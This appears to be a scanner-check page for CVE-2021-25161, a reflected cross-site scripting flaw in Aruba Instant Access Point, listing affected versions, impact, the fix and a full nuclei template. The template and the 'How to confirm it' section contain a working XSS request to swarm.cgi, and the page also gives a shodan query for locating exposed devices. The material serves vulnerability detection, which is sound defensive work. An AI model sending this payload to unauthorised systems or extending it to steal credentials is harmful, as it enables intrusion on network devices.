Aruba Instant Access Point (IAP) - Cross-Site Scripting

mediumseverity

6.1CVSS score

16.4%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A remote cross-site scripting (xss) vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below; Aruba Instant 6.5.x: 6.5.4.18 and below; Aruba Instant 8.3.x: 8.3.0.14 and below; Aruba Instant 8.5.x: 8.5.0.11 and below; Aruba Instant 8.6.x: 8.6.0.7 and below; Aruba Instant 8.7.x: 8.7.1.1 and below.

Impact

Attackers can inject malicious JavaScript via reflected XSS in the decoded_texts parameter, potentially stealing administrator credentials or manipulating access point configurations.

Fix

Upgrade to the latest version of Swarm that addresses this vulnerability.Implement proper input validation and output encoding for user-supplied data.

How to confirm it

Send: GET /swarm.cgi?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts="%27;%0Aalert(doc…
Positive when: contains "var decode_string = '\"';" and "alert(document.domain);//" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-25161 -u <target>

The full check

id: CVE-2021-25161

info:
  name: Aruba Instant Access Point (IAP) - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A remote cross-site scripting (xss) vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below; Aruba Instant 6.5.x: 6.5.4.18 and below; Aruba Instant 8.3.x: 8.3.0.14 and below; Aruba Instant 8.5.x: 8.5.0.11 and below; Aruba Instant 8.6.x: 8.6.0.7 and below; Aruba Instant 8.7.x: 8.7.1.1 and below.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the decoded_texts parameter, potentially stealing administrator credentials or manipulating access point configurations.
  remediation: |
    Upgrade to the latest version of Swarm that addresses this vulnerability.Implement proper input validation and output encoding for user-supplied data.
  reference:
    - https://alephsecurity.com/2021/07/15/aruba-instant/?utm_source=feedly
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25161
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25161
    cwe-id: CWE-79
    epss-score: 0.16372
    epss-percentile: 0.96993
  metadata:
    verified: true
    max-request: 1
    vendor: aruba
    product: aruba-instant-access-point
    shodan-query: title:"Aruba"
    fofa-query: body="jscripts/third_party/raphael-treemap.min.js" || body="jscripts/third_party/highcharts.src.js"
  tags: cve,cve2021,xss,aruba,web,vuln

http:
  - raw:
      - |
        GET /swarm.cgi?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts="%27;%0Aalert(document.domain);//%0a%27 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - var decode_string = '"';
          - alert(document.domain);//
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from